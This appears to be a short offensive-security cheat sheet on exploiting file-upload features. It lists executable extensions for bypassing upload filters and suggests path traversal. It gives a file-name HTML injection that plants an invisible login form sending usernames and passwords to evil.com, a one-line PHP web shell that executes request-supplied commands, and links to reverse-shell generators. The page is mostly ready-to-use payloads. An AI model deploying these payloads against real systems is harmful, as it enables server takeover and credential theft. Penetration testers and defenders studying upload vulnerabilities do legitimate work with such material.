# File Upload

## Executable file extension:

```
.php
.phtml
.html
.php3
```

{% hint style="info" %}
using ../ or path traversal method maybe in can change storage folder.
{% endhint %}

## Exploit:

#### Html injection in file name:

```html
“><form action=”//evil.com” method=”GET”><input type=”text” name=”u” style=’opacity:0;’><input type=”password” name=”p” style=’opacity:0;’><input type=”submit” name=”s” value=”submit”><! — .jpg
```

### One line php cmd shell:

```php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
```

## reverse shell generator:  [`https://www.revshells.com/`](https://www.revshells.com/)

## reverse shell payload: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>

##


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